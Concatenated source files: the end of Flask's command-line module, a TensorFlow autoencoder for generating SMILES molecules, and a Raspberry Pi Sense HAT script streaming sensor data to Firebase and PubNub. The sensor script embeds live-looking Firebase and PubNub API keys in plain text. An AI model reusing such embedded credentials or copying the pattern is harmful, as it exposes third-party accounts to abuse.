commands provided by the app, showing an error and # continuing if the app couldn't be loaded. try: rv.update(info.load_app().cli.list_commands(ctx)) except NoAppException as e: # When an app couldn't be loaded, show the error message # without the traceback. click.secho(f"Error: {e.format_message()}\n", err=True, fg="red") except Exception: # When any other errors occurred during loading, show the # full traceback. click.secho(f"{traceback.format_exc()}\n", err=True, fg="red") return sorted(rv) def main(self, *args, **kwargs): # Set a global flag that indicates that we were invoked from the # command line interface. This is detected by Flask.run to make the # call into a no-op. This is necessary to avoid ugly errors when the # script that is loaded here also attempts to start a server. os.environ["FLASK_RUN_FROM_CLI"] = "true" if get_load_dotenv(self.load_dotenv): load_dotenv() obj = kwargs.get("obj") if obj is None: obj = ScriptInfo( create_app=self.create_app, set_debug_flag=self.set_debug_flag ) kwargs["obj"] = obj kwargs.setdefault("auto_envvar_prefix", "FLASK") return super().main(*args, **kwargs) def _path_is_ancestor(path, other): """Take ``other`` and remove the length of ``path`` from it. Then join it to ``path``. If it is the original value, ``path`` is an ancestor of ``other``.""" return os.path.join(path, other[len(path) :].lstrip(os.sep)) == other def load_dotenv(path=None): """Load "dotenv" files in order of precedence to set environment variables. If an env var is already set it is not overwritten, so earlier files in the list are preferred over later files. This is a no-op if `python-dotenv`_ is not installed. .. _python-dotenv: https://github.com/theskumar/python-dotenv#readme :param path: Load the file at this location instead of searching. :return: ``True`` if a file was loaded. .. versionchanged:: 1.1.0 Returns ``False`` when python-dotenv is not installed, or when the given path isn't a file. .. versionchanged:: 2.0 When loading the env files, set the default encoding to UTF-8. .. versionadded:: 1.0 """ if dotenv is None: if path or os.path.isfile(".env") or os.path.isfile(".flaskenv"): click.secho( " * Tip: There are .env or .flaskenv files present." ' Do "pip install python-dotenv" to use them.', fg="yellow", err=True, ) return False # if the given path specifies the actual file then return True, # else False if path is not None: if os.path.isfile(path): return dotenv.load_dotenv(path, encoding="utf-8") return False new_dir = None for name in (".env", ".flaskenv"): path = dotenv.find_dotenv(name, usecwd=True) if not path: continue if new_dir is None: new_dir = os.path.dirname(path) dotenv.load_dotenv(path, encoding="utf-8") return new_dir is not None # at least one file was located and loaded def show_server_banner(env, debug, app_import_path, eager_loading): """Show extra startup messages the first time the server is run, ignoring the reloader. """ if os.environ.get("WERKZEUG_RUN_MAIN") == "true": return if app_import_path is not None: message = f" * Serving Flask app {app_import_path!r}" if not eager_loading: message += " (lazy loading)" click.echo(message) click.echo(f" * Environment: {env}") if env == "production": click.secho( " WARNING: This is a development server. Do not use it in" " a production deployment.", fg="red", ) click.secho(" Use a production WSGI server instead.", dim=True) if debug is not None: click.echo(f" * Debug mode: {'on' if debug else 'off'}") class CertParamType(click.ParamType): """Click option type for the ``--cert`` option. Allows either an existing file, the string ``'adhoc'``, or an import for a :class:`~ssl.SSLContext` object. """ name = "path" def __init__(self): self.path_type = click.Path(exists=True, dir_okay=False, resolve_path=True) def convert(self, value, param, ctx): if ssl is None: raise click.BadParameter( 'Using "--cert" requires Python to be compiled with SSL support.', ctx, param, ) try: return self.path_type(value, param, ctx) except click.BadParameter: value = click.STRING(value, param, ctx).lower() if value == "adhoc": try: import cryptography # noqa: F401 except ImportError: raise click.BadParameter( "Using ad-hoc certificates requires the cryptography library.", ctx, param, ) return value obj = import_string(value, silent=True) if isinstance(obj, ssl.SSLContext): return obj raise def _validate_key(ctx, param, value): """The ``--key`` option must be specified when ``--cert`` is a file. Modifies the ``cert`` param to be a ``(cert, key)`` pair if needed. """ cert = ctx.params.get("cert") is_adhoc = cert == "adhoc" is_context = ssl and isinstance(cert, ssl.SSLContext) if value is not None: if is_adhoc: raise click.BadParameter( 'When "--cert" is "adhoc", "--key" is not used.', ctx, param ) if is_context: raise click.BadParameter( 'When "--cert" is an SSLContext object, "--key is not used.', ctx, param ) if not cert: raise click.BadParameter('"--cert" must also be specified.', ctx, param) ctx.params["cert"] = cert, value else: if cert and not (is_adhoc or is_context): raise click.BadParameter('Required when using "--cert".', ctx, param) return value class SeparatedPathType(click.Path): """Click option type that accepts a list of values separated by the OS's path separator (``:``, ``;`` on Windows). Each value is validated as a :class:`click.Path` type. """ def convert(self, value, param, ctx): items = self.split_envvar_value(value) super_convert = super().convert return [super_convert(item, param, ctx) for item in items] @click.command("run", short_help="Run a development server.") @click.option("--host", "-h", default="127.0.0.1", help="The interface to bind to.") @click.option("--port", "-p", default=5000, help="The port to bind to.") @click.option( "--cert", type=CertParamType(), help="Specify a certificate file to use HTTPS." ) @click.option( "--key", type=click.Path(exists=True, dir_okay=False, resolve_path=True), callback=_validate_key, expose_value=False, help="The key file to use when specifying a certificate.", ) @click.option( "--reload/--no-reload", default=None, help="Enable or disable the reloader. By default the reloader " "is active if debug is enabled.", ) @click.option( "--debugger/--no-debugger", default=None, help="Enable or disable the debugger. By default the debugger " "is active if debug is enabled.", ) @click.option( "--eager-loading/--lazy-loading", default=None, help="Enable or disable eager loading. By default eager " "loading is enabled if the reloader is disabled.", ) @click.option( "--with-threads/--without-threads", default=True, help="Enable or disable multithreading.", ) @click.option( "--extra-files", default=None, type=SeparatedPathType(), help=( "Extra files that trigger a reload on change. Multiple paths" f" are separated by {os.path.pathsep!r}." ), ) @pass_script_info def run_command( info, host, port, reload, debugger, eager_loading, with_threads, cert, extra_files ): """Run a local development server. This server is for development purposes only. It does not provide the stability, security, or performance of production WSGI servers. The reloader and debugger are enabled by default if FLASK_ENV=development or FLASK_DEBUG=1. """ debug = get_debug_flag() if reload is None: reload = debug if debugger is None: debugger = debug show_server_banner(get_env(), debug, info.app_import_path, eager_loading) app = DispatchingApp(info.load_app, use_eager_loading=eager_loading) from werkzeug.serving import run_simple run_simple( host, port, app, use_reloader=reload, use_debugger=debugger, threaded=with_threads, ssl_context=cert, extra_files=extra_files, ) @click.command("shell", short_help="Run a shell in the app context.") @with_appcontext def shell_command() -> None: """Run an interactive Python shell in the context of a given Flask application. The application will populate the default namespace of this shell according to its configuration. This is useful for executing small snippets of management code without having to manually configure the application. """ import code from .globals import _app_ctx_stack app = _app_ctx_stack.top.app banner = ( f"Python {sys.version} on {sys.platform}\n" f"App: {app.import_name} [{app.env}]\n" f"Instance: {app.instance_path}" ) ctx: dict = {} # Support the regular Python interpreter startup script if someone # is using it. startup = os.environ.get("PYTHONSTARTUP") if startup and os.path.isfile(startup): with open(startup) as f: eval(compile(f.read(), startup, "exec"), ctx) ctx.update(app.make_shell_context()) # Site, customize, or startup script can set a hook to call when # entering interactive mode. The default one sets up readline with # tab and history completion. interactive_hook = getattr(sys, "__interactivehook__", None) if interactive_hook is not None: try: import readline from rlcompleter import Completer except ImportError: pass else: # rlcompleter uses __main__.__dict__ by default, which is # flask.__main__. Use the shell context instead. readline.set_completer(Completer(ctx).complete) interactive_hook() code.interact(banner=banner, local=ctx) @click.command("routes", short_help="Show the routes for the app.") @click.option( "--sort", "-s", type=click.Choice(("endpoint", "methods", "rule", "match")), default="endpoint", help=( 'Method to sort routes by. "match" is the order that Flask will match ' "routes when dispatching a request." ), ) @click.option("--all-methods", is_flag=True, help="Show HEAD and OPTIONS methods.") @with_appcontext def routes_command(sort: str, all_methods: bool) -> None: """Show all registered routes with endpoints and methods.""" rules = list(current_app.url_map.iter_rules()) if not rules: click.echo("No routes were registered.") return ignored_methods = set(() if all_methods else ("HEAD", "OPTIONS")) if sort in ("endpoint", "rule"): rules = sorted(rules, key=attrgetter(sort)) elif sort == "methods": rules = sorted(rules, key=lambda rule: sorted(rule.methods)) # type: ignore rule_methods = [ ", ".join(sorted(rule.methods - ignored_methods)) # type: ignore for rule in rules ] headers = ("Endpoint", "Methods", "Rule") widths = ( max(len(rule.endpoint) for rule in rules), max(len(methods) for methods in rule_methods), max(len(rule.rule) for rule in rules), ) widths = [max(len(h), w) for h, w in zip(headers, widths)] row = "{{0:<{0}}} {{1:<{1}}} {{2:<{2}}}".format(*widths) click.echo(row.format(*headers).strip()) click.echo(row.format(*("-" * width for width in widths))) for rule, methods in zip(rules, rule_methods): click.echo(row.format(rule.endpoint, methods, rule.rule).rstrip()) cli = FlaskGroup( help="""\ A general utility script for Flask applications. Provides commands from Flask, extensions, and the application. Loads the application defined in the FLASK_APP environment variable, or from a wsgi.py file. Setting the FLASK_ENV environment variable to 'development' will enable debug mode. \b {prefix}{cmd} FLASK_APP=hello.py {prefix}{cmd} FLASK_ENV=development {prefix}flask run """.format( cmd="export" if os.name == "posix" else "set", prefix="$ " if os.name == "posix" else "> ", ) ) def main() -> None: if int(click.__version__[0]) < 8: warnings.warn( "Using the `flask` cli with Click 7 is deprecated and" " will not be supported starting with Flask 2.1." " Please upgrade to Click 8 as soon as possible.", DeprecationWarning, ) # TODO omit sys.argv once https://github.com/pallets/click/issues/536 is fixed cli.main(args=sys.argv[1:]) if __name__ == "__main__": main()
CARAE_cla.py
import numpy as np import tensorflow as tf import numpy as np import threading from itertools import compress class ARAE(): def __init__(self, vocab_size, batch_size=20, latent_size=100, sample_size=100, property_task=1): print ('batch size : ', batch_size) print ('latent size : ', latent_size) print ('sample size : ', sample_size) self.vocab_size = vocab_size self.batch_size = batch_size self.latent_size = latent_size self.sample_size = sample_size self.property_task = property_task self._create_network() def _create_network(self): self.X = tf.placeholder(tf.int32, [self.batch_size, None],name="X") # input smiles self.Y = tf.placeholder(tf.int32, [self.batch_size, None],name="Y") # reconstructed smiles self.S = tf.placeholder(tf.float32, [self.batch_size, self.sample_size],name="S") # seed self.L = tf.placeholder(tf.int32, [self.batch_size],"L") # actual length of SMILES self.N = tf.placeholder(tf.float32, [self.batch_size, self.latent_size],"N") # randomness on latent vectors self.P = tf.placeholder(tf.float32, [self.batch_size, self.property_task],"P") # properties mol_onehot = tf.one_hot(tf.cast(self.X, tf.int32), self.vocab_size) mol_onehot = tf.cast(mol_onehot, tf.float32) self.prefn = [self.latent_size, self.latent_size, self.property_task] self.disfn = [self.latent_size, self.latent_size, 1] self.genfn = [self.latent_size, self.latent_size, self.latent_size] decoded_rnn_size = [self.latent_size] encoded_rnn_size = [self.latent_size] with tf.variable_scope('decode'): decode_cell=[] for i in decoded_rnn_size[:]: decode_cell.append(tf.nn.rnn_cell.LSTMCell(i)) self.decoder = tf.nn.rnn_cell.MultiRNNCell(decode_cell) with tf.variable_scope('encode'): encode_cell=[] for i in encoded_rnn_size[:]: encode_cell.append(tf.nn.rnn_cell.LSTMCell(i)) self.encoder = tf.nn.rnn_cell.MultiRNNCell(encode_cell) self.initial_state=self.decoder.zero_state(self.batch_size, tf.float32) self.weights = {} self.biases = {} self.weights['softmax'] = tf.get_variable("softmaxw", initializer=tf.contrib.layers.xavier_initializer(),\ shape=[decoded_rnn_size[-1], self.vocab_size]) self.biases['softmax'] = tf.get_variable("softmaxb", initializer=tf.contrib.layers.xavier_initializer(), shape=[self.vocab_size]) for i in range(len(self.disfn)): name = 'disfw'+str(i+1) if i==0: self.weights[name] = tf.get_variable(name, initializer=tf.contrib.layers.xavier_initializer(),\ shape=[self.latent_size, self.disfn[i]]) else : self.weights[name] = tf.get_variable(name, initializer=tf.contrib.layers.xavier_initializer(),\ shape=[self.disfn[i-1], self.disfn[i]]) name = 'disfb'+str(i+1) self.biases[name] = tf.get_variable(name, initializer=tf.zeros_initializer(), shape=[self.disfn[i]]) for i in range(len(self.prefn)): name = 'clyfw'+str(i+1) if i==0: self.weights[name] = tf.get_variable(name, initializer=tf.contrib.layers.xavier_initializer(),\ shape=[self.latent_size, self.prefn[i]]) else : self.weights[name] = tf.get_variable(name, initializer=tf.contrib.layers.xavier_initializer(),\ shape=[self.prefn[i-1], self.prefn[i]]) name = 'clyfb'+str(i+1) self.biases[name] = tf.get_variable(name, initializer=tf.zeros_initializer(), shape=[self.prefn[i]]) for i in range(len(self.genfn)): name = 'genfw'+str(i+1) if i==0: self.weights[name] = tf.get_variable(name, initializer=tf.contrib.layers.xavier_initializer(),\ shape=[self.sample_size, self.genfn[i]]) else : self.weights[name] = tf.get_variable(name, initializer=tf.contrib.layers.xavier_initializer(),\ shape=[self.genfn[i-1], self.genfn[i]]) name = 'genfb'+str(i+1) self.biases[name] = tf.get_variable(name, initializer=tf.zeros_initializer(), shape=[self.genfn[i]]) self.mol_encoded0 = self.total_encoder(mol_onehot) self.mol_encoded = tf.nn.l2_normalize(self.mol_encoded0, dim=-1) self.latent_vector = self.generator(self.S) d_real_logits = self.discriminator(self.mol_encoded) d_fake_logits = self.discriminator(self.latent_vector, reuse=True) predicted_property = self.predictor(self.mol_encoded) # regression = tf.slice(predicted_property,[0,0],[-1,3]) # classified = tf.slice(predicted_property,[0,3],[-1,1]) classified = predicted_property self.classified_logits = tf.nn.sigmoid(classified) self.mol_encoded +=self.N self.mol_decoded_softmax, mol_decoded_logits = self.total_decoder(self.mol_encoded, mol_onehot, self.P) weights = tf.sequence_mask(self.L, tf.shape(self.X)[1]) weights = tf.cast(weights, tf.int32) weights = tf.cast(weights, tf.float32) self.reconstr_loss = tf.reduce_mean(tf.contrib.seq2seq.sequence_loss( logits=mol_decoded_logits, targets=self.Y, weights=weights)) self.g_loss = -tf.reduce_mean(d_fake_logits) self.en_loss = (tf.reduce_mean(d_real_logits)) self.d_loss = (-tf.reduce_mean(d_real_logits)+tf.reduce_mean(d_fake_logits)) # C_reg=tf.slice(self.C,[0,0],[-1,3]) # C_class=tf.slice(self.C,[0,3],[-1,1]) # self.en_regression_loss = -tf.sqrt(tf.reduce_mean(tf.square(regression-C_reg))) # self.regression_loss = tf.sqrt(tf.reduce_mean(tf.square(regression-C_reg))) self.en_classified_loss = -tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=classified,labels=self.P)) self.classified_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=classified,labels=self.P)) # self.en_property_loss= self.en_regression_loss + self.en_classified_loss # self.property_loss= self.regression_loss + self.classified_loss self.en_property_loss = self.en_classified_loss self.property_loss = self.classified_loss # Loss self.lr = tf.Variable(0.0, trainable=False) tvars = tf.trainable_variables() ae_list = [var for var in tvars if 'decode' in var.name or 'encode' in var.name or 'softmax' in var.name] en_list = [var for var in tvars if 'encode' in var.name] gen_list = [var for var in tvars if 'gen' in var.name] dis_list = [var for var in tvars if 'dis' in var.name] pre_list = [var for var in tvars if 'cly' in var.name] print (np.sum([np.prod(v.shape) for v in ae_list])) print (np.sum([np.prod(v.shape) for v in en_list])) print (np.sum([np.prod(v.shape) for v in dis_list])) print (np.sum([np.prod(v.shape) for v in gen_list])) print (np.sum([np.prod(v.shape) for v in pre_list])) print (np.sum([np.prod(v.shape) for v in tvars])) name1 = [v.name for v in ae_list] name2 = [v.name for v in en_list] name3 = [v.name for v in dis_list] name4 = [v.name for v in gen_list] name5 = [v.name for v in pre_list] optimizer1 = tf.train.GradientDescentOptimizer(1.0) optimizer2 = tf.train.AdamOptimizer(1e-5) optimizer3 = tf.train.AdamOptimizer(2e-6) optimizer4 = tf.train.AdamOptimizer(1e-5) self.opt1 = optimizer1.minimize(self.reconstr_loss, var_list = ae_list) self.opt2 = optimizer1.minimize(self.en_loss, var_list = en_list) # update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) self.opt3 = optimizer2.minimize(self.g_loss, var_list = gen_list) self.opt4 = optimizer3.minimize(self.d_loss, var_list = dis_list) self.opt5 = optimizer1.minimize(self.en_property_loss, var_list = en_list) self.opt6 = optimizer1.minimize(self.property_loss, var_list = pre_list) self.clip_dis = [p.assign(tf.clip_by_value(p, -0.01, 0.01)) for p in dis_list] self.mol_pred = tf.argmax(self.mol_decoded_softmax, axis=2) self.sess = tf.Session() init = tf.global_variables_initializer() self.sess = tf.Session() self.sess.run(init) self.saver = tf.train.Saver(max_to_keep=None) # tf.train.start_queue_runners(sess=self.sess) print ("Network Ready") def discriminator(self, Z, reuse=False): Y=Z for i in range(len(self.disfn)): name_w = 'disfw'+str(i+1) name_b = 'disfb'+str(i+1) Y = tf.nn.xw_plus_b(Y, self.weights[name_w], self.biases[name_b]) if i!=len(self.disfn)-1: Y = tf.maximum(Y, 0.2*Y) return Y def predictor(self, Z, reuse=False): Y=Z for i in range(len(self.prefn)): name_w = 'clyfw'+str(i+1) name_b = 'clyfb'+str(i+1) # Y = tf.nn.sigmoid(tf.nn.xw_plus_b(Y, self.weights[name_w], self.biases[name_b])) Y = tf.nn.xw_plus_b(Y, self.weights[name_w], self.biases[name_b]) if i!=len(self.prefn)-1: Y = tf.nn.relu(Y) return Y def generator(self, Z, reuse=False): Y=Z for i in range(len(self.genfn)): name_w = 'genfw'+str(i+1) name_b = 'genfb'+str(i+1) Y = tf.nn.xw_plus_b(Y, self.weights[name_w], self.biases[name_b]) if i<len(self.genfn)-1: Y = tf.nn.relu(Y) return tf.nn.tanh(Y) def start_threads(self, num_threads=5, coord=None): threads = [] for _ in range(num_threads): thread = threading.Thread(target=self.feed_data, args=(coord,)) thread.start() threads.append(thread) return threads def feed_data(self, coord): index = 0 while True: if not coord.should_stop(): r = np.random.randint(len(self.molecules), size=self.batch_size) x = self.molecules[r] z = np.random.normal(0.0, 1.0, [self.batch_size, self.latent_size]) self.sess.run(self.enqueue_op, feed_dict = {self.x : x, self.z : z}) def flat_encoder(self, X): for i in range(len(self.efn)): name_w = 'efw'+str(i+1) name_b = 'efb'+str(i+1) if i==0: Y = tf.nn.relu(tf.nn.xw_plus_b(X, self.weights[name_w], self.biases[name_b])) if i==len(self.efn)-1: Y = tf.nn.xw_plus_b(X, self.weights[name_w], self.biases[name_b]) else: Y = tf.nn.relu(tf.nn.xw_plus_b(Y, self.weights[name_w], self.biases[name_b])) return Y def flat_decoder(self, X): for i in range(len(self.dfn)): name_w = 'dfw'+str(i+1) name_b = 'dfb'+str(i+1) if i==0: Y = tf.nn.relu(tf.nn.xw_plus_b(X, self.weights[name_w], self.biases[name_b])) else: Y = tf.nn.relu(tf.nn.xw_plus_b(Y, self.weights[name_w], self.biases[name_b])) return Y def conv2d(self, x, W): return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME') def conv2d_transpose(self, x, W, output_shape): return tf.nn.conv2d_transpose(x, W, strides=[1, 1, 1, 1], output_shape = output_shape, padding='SAME') def conv_encoder(self, X): X = tf.expand_dims(X, 1) for i in range (len(self.ecfn)): name_w = 'ecw' + str(i+1) name_b = 'ecb' + str(i+1) if i==0: Y = tf.nn.relu(self.conv2d(X, self.weights[name_w])+self.biases[name_b]) else: Y = tf.nn.relu(self.conv2d(Y, self.weights[name_w])+self.biases[name_b]) retval = tf.reshape(Y, [self.batch_size, -1]) return retval def conv_decoder(self, X): X = tf.expand_dims(X, 1) X = tf.expand_dims(X, -1) for i in range (len(self.dcfn)): name_w = 'dcw' + str(i+1) name_b = 'dcb' + str(i+1) output_shape = [self.batch_size, 1, self.seq_length, self.dcfn[i]] if i==0: Y = tf.nn.relu(self.conv2d_transpose(X, self.weights[name_w], output_shape)+self.biases[name_b]) else: Y = tf.nn.relu(self.conv2d_transpose(Y, self.weights[name_w], output_shape)+self.biases[name_b]) retval = tf.reshape(Y, [self.batch_size, -1]) return retval def total_encoder(self, X): X = tf.reshape(X, [self.batch_size, tf.shape(self.X)[1], self.vocab_size]) Y = self.rnn_encoder(X) return Y def rnn_decoder(self, X): Y1, self.decoder_state = tf.nn.dynamic_rnn(self.decoder, X, dtype=tf.float32, scope = 'decode', sequence_length = self.L, initial_state = self.initial_state) return Y1 def rnn_encoder(self, X): _, state = tf.nn.dynamic_rnn(self.encoder, X, dtype=tf.float32, scope = 'encode', sequence_length = self.L) c,h = state[0] return h def total_decoder(self, Z, X, P): seq_length = tf.shape(self.X)[1] Y1 = tf.expand_dims(Z,1) pattern = tf.stack([1, tf.shape(self.X)[1], 1]) Y1 = tf.tile(Y1, pattern) P = tf.expand_dims(P, 1) P = tf.tile(P, pattern) Y1 = tf.concat([Y1, X, P], axis=-1) Y2 = self.rnn_decoder(Y1) Y2 = tf.reshape(Y2, [self.batch_size*seq_length, -1]) Y3_logits = tf.matmul(Y2, self.weights['softmax'])+self.biases['softmax'] Y3_logits = tf.reshape(Y3_logits, [self.batch_size, seq_length, -1]) Y3 = tf.nn.softmax(Y3_logits) return Y3, Y3_logits def get_output(self): return self.opt, self.cost def train(self, x, y, l, p, n_iter_gan,dev): n = np.random.normal(0.0, dev, [self.batch_size, self.latent_size]) opt1_ = self.sess.run(self.opt1, feed_dict = {self.X : x, self.Y : y, self.L : l, self.N : n, self.P : p}) opt6_ = self.sess.run(self.opt6, feed_dict = {self.X : x, self.Y : y, self.L : l, self.N : n, self.P : p}) opt5_ = self.sess.run(self.opt5, feed_dict = {self.X : x, self.Y : y, self.L : l, self.N : n, self.P : p}) for j in range(n_iter_gan): s = np.random.normal(0.0, 0.25, [self.batch_size, self.sample_size]).clip(-1.0,1.0) for i in range(5): opt4_ = self.sess.run(self.opt4, feed_dict = {self.X : x, self.Y : y, self.L : l, self.S : s, self.P : p}) _ = self.sess.run(self.clip_dis) opt3_ = self.sess.run(self.opt3, feed_dict = {self.S : s}) # opt2_ = self.sess.run(self.opt2, feed_dict = {self.X : x, self.Y : y, self.L : l}) return def test(self, x, y, l, s, n, p): Y, cost1, cost5, cost6, mol_encoded = self.sess.run( [ self.mol_pred, self.reconstr_loss, self.property_loss, self.property_loss, self.mol_encoded], feed_dict = {self.X:x, self.Y : y, self.L :l, self.N: n, self.P : p}) cost2, cost3, cost4, latent_vector = self.sess.run( [ self.g_loss, self.d_loss, self.en_loss, self.latent_vector], feed_dict = {self.X:x, self.Y : y, self.L :l, self.N: n, self.S : s, self.P : p}) return Y, cost1, cost2, cost3, cost4, cost5, cost6, latent_vector,mol_encoded def test2(self, x, l, n, p): Y,mol_encoded = self.sess.run([self.mol_pred, self.mol_encoded], feed_dict = {self.X:x, self.L :l, self.N: n, self.P : p}) return Y, mol_encoded def save(self, ckpt_path, global_step): self.saver.save(self.sess, ckpt_path, global_step = global_step) print("model saved to '%s'" % (ckpt_path)) def assign_lr(self, learning_rate): self.sess.run(tf.assign(self.lr, learning_rate )) def restore(self, ckpt_path): self.saver.restore(self.sess, ckpt_path) def generate_molecule(self, x, z, l, p, decoder_state): return self.sess.run([self.mol_decoded_softmax, self.decoder_state], feed_dict={ self.X: x, self.mol_encoded : z, self.L : l, self.initial_state : decoder_state, self.P : p}) def generate_latent_vector(self, s): return self.sess.run(self.latent_vector, feed_dict={self.S : s}) def get_latent_vector(self, x, l): return self.sess.run(self.mol_encoded, feed_dict={self.X : x, self.L : l}) def get_decoder_state(self): return self.sess.run(self.initial_state) def recover_sample_vector_df(self, reuse): self.real_latent_vector = tf.placeholder(tf.float32, [self.batch_size, self.latent_size],"real_latent") with tf.variable_scope("trials", reuse=reuse): self.S_trials = tf.get_variable("trials", initializer=tf.random_uniform([self.batch_size, self.sample_size], -1, 1)) self.recover_latent_vector = self.generator(self.S_trials, reuse=True) self.err_recover = tf.sqrt(tf.reduce_mean(tf.square(self.real_latent_vector-self.recover_latent_vector), -1)+1e-10) optimizer = tf.train.AdamOptimizer(0.1) self.opt9 = optimizer.minimize(self.err_recover, var_list = [self.S_trials]) self.clipping = [self.S_trials.assign(tf.clip_by_value(self.S_trials, -1.0, 1.0))] global_vars = tf.global_variables() is_not_initialized = self.sess.run([~(tf.is_variable_initialized(var)) \ for var in global_vars]) self.not_initialized_vars = list(compress(global_vars, is_not_initialized)) def recover_sample_vector(self, latent_vector_real): if len(self.not_initialized_vars): self.sess.run(tf.variables_initializer(self.not_initialized_vars)) for i in range(1000): _, err_= self.sess.run([self.opt9, self.err_recover],feed_dict={self.real_latent_vector:latent_vector_real}) _ = self.sess.run([self.clipping]) if i%100==0: print("cost_latent_real", np.mean(np.array(err_))) retval = self.sess.run(self.S_trials) print ('check') return retval
ReadSensorData.py
from sense_hat import SenseHat from time import sleep, time from multiprocessing import Process from pubnub.pubnub import PubNub, SubscribeListener, SubscribeCallback, PNStatusCategory from pubnub.pnconfiguration import PNConfiguration from pubnub.exceptions import PubNubException import uuid, os, pyrebase, pubnub, sys, time, datetime def get_mac(): mac_num = hex(uuid.getnode()).replace('0x', '').upper() mac = '-'.join(mac_num[i: i + 2] for i in range(0, 11, 2)) return mac sense = SenseHat() MacAddress = get_mac() channel='senseHat' # provide pubnub channel_name # Define the colours in a dictionary COLOR = { 'red' : (255, 0, 0), 'green': (0, 255, 0), 'blue' : (0, 0, 255), 'black' : (0, 0, 0), 'white' : (255, 255, 255), 'orange': (255, 165, 0), 'yellow' : (255, 225, 0), 'cyan' : (0, 255, 255), 'violet' : (238, 130, 238), 'brown' : (165, 42, 42), 'purple' : (128, 0, 128), } Config = { "apiKey": "AIzaSyCYu7gE_4HGDIy7pOOiw0AY-rrUmoE7eXQ", "authDomain": "sensehat-51bd7.firebaseapp.com", "databaseURL": "https://sensehat-51bd7.firebaseio.com", "storageBucket": "sensehat-51bd7.appspot.com" } Firebase = pyrebase.initialize_app(Config) db = Firebase.database() pnconf = PNConfiguration(); sleep(2) pnconf.publish_key = 'pub-c-23235607-897e-4e8c-8b96-409d2a0ce710' # set pubnub publish_key pnconf.subscribe_key = 'sub-c-7b8840c4-f940-11e8-ba8a-aef4d14eb57e' # set pubnub subscibe_key pubnub = PubNub(pnconf) # create pubnub_object using pubnub_configuration_object def my_publish_callback(envelope, status): if not status.is_error(): pass else: pass my_listener = SubscribeListener() # create listner_object to read the msg from the Broker/Server pubnub.add_listener(my_listener) # add listner_object to pubnub_object to subscribe it pubnub.subscribe().channels(channel).execute() # subscribe the channel (Runs in background) my_listener.wait_for_connect() # wait for the listner_obj to connect to the Broker.Channel print('Connected to PubNub') # print confirmation msg def pushEnvironmentalReadings(interval = 10, print_results = True): #Take readings from all three sensors and ound the values to one decimal place while(True): try: Temperature = sense.get_temperature() Pressure = sense.get_pressure() Humidity = sense.get_humidity() time_sense = time.strftime('%H:%M:%S') date_sense = time.strftime('%d/%m/%Y') data = {"MAC": MacAddress, "Date": date_sense, "Time": time_sense, "Temperature": Temperature, "Humidity": Humidity, "Pressure": Pressure} db.child("/Environment").push(data) if print_results == True: print("Time: {0}\tMacAddress: {1}".format(time_sense, MacAddress)) print("\tTemperature: {0}C\tPressure: {1}Mb\tHumidity: {2}%\n\n".format(Temperature, Pressure, Humidity)) except Exception as e: raise sleep(interval) def pushMovementReadings(interval = 1, print_results = True): while(True): try: Acceleration = sense.get_accelerometer_raw() Orientation = sense.get_orientation() north = sense.get_compass() time_sense = time.strftime('%H:%M:%S') date_sense = time.strftime('%d/%m/%Y') data = {"MAC": MacAddress, "Date": date_sense, "Time": time_sense, "Acceleration": Acceleration, "Orientation": Orientation, "Compass": north} db.child("/Movement").push(data) if print_results == True: x = Acceleration['x'] y = Acceleration['y'] z = Acceleration['z'] pitch = Orientation["pitch"] roll = Orientation["roll"] yaw = Orientation["yaw"] print("Time: {0}\tMacAddress: {1}".format(time_sense, MacAddress)) print("\tX={0}, Y={1}, Z={2}".format(x, y, z)) print("\tPitch {0} Roll {1} Yaw {2}\n\n".format(pitch, roll, yaw)) except Exception as e: raise sleep(interval) def publishToPubNub(interval=10): while(True): try: time_sense = time.strftime('%H:%M:%S') date_sense = time.strftime('%d/%m/%Y') Temperature = sense.get_temperature() Pressure = sense.get_pressure() Humidity = sense.get_humidity() Acceleration = sense.get_accelerometer_raw() Orientation = sense.get_orientation() north = sense.get_compass() x = Acceleration['x'] y = Acceleration['y'] z = Acceleration['z'] pitch = Orientation["pitch"] roll = Orientation["roll"] yaw = Orientation["yaw"] data = {"MAC": MacAddress, "Date": date_sense, "Time": time_sense, "Temperature": Temperature, "Humidity": Humidity, "Pressure": Pressure, "x":x, "y":y, "z":z, "pitch":pitch, "roll":roll, "yaw":yaw } pubnub.publish().channel(channel).message({"eon": data}).pn_async(my_publish_callback) except Exception as e: raise sleep(interval) def deviceState(): while True: Acceleration = sense.get_accelerometer_raw() x = Acceleration['x'] y = Acceleration['y'] z = Acceleration['z'] x = round(x, 0) y = round(y, 0) z = round(z, 0) if abs(x) > 1 or abs(y) > 1 or abs(z) > 1: # Update the rotation of the display depending on which way up the Sense HAT is if x == -1: sense.set_rotation(180) elif y == 1: sense.set_rotation(90) elif y == -1: sense.set_rotation(270) else: sense.set_rotation(0) sense.show_letter("!", COLOR['red']) else: sense.clear() def joysticMovements(): MessageSpeed = 0.05; ValueSpeed = 0.05 TextColour = COLOR['orange']; while True: for event in sense.stick.get_events(): # Check if the joystick was pressed if event.action == "pressed": # Check which direction if event.direction == "up": sense.show_message("Temperature", text_colour=TextColour, scroll_speed=MessageSpeed) sense.show_message("{0}C".format(round(sense.get_temperature(), 1)), text_colour=TextColour, scroll_speed=ValueSpeed) elif event.direction == "down": sense.show_message("Pressure", text_colour=TextColour, scroll_speed=MessageSpeed) sense.show_message("{0}Mb".format(round(sense.get_pressure(), 1)), text_colour=TextColour, scroll_speed=ValueSpeed) elif event.direction == "left": sense.show_message("Humidity", text_colour=TextColour, scroll_speed=MessageSpeed) sense.show_message("{0}%".format(round(sense.get_humidity(), 1)), text_colour=TextColour, scroll_speed=ValueSpeed) elif event.direction == "right": sense.show_message("Compass", text_colour=TextColour, scroll_speed=MessageSpeed) sense.show_message("{0} N".format(round(sense.compass, 1)), text_colour=TextColour, scroll_speed=ValueSpeed) elif event.direction == "middle": sense.show_letter("!", text_colour=TextColour) # Wait a while and then clear the screen sleep(0.5) a = Process(target=joysticMovements) a.start() b = Process(target=deviceState) b.start() c = Process(target=pushEnvironmentalReadings) c.start() d = Process(target=pushMovementReadings) d.start() e= Process(target=publishToPubNub) e.start() a.join() b.join() c.join() d.join() e.join
measure_methods.py
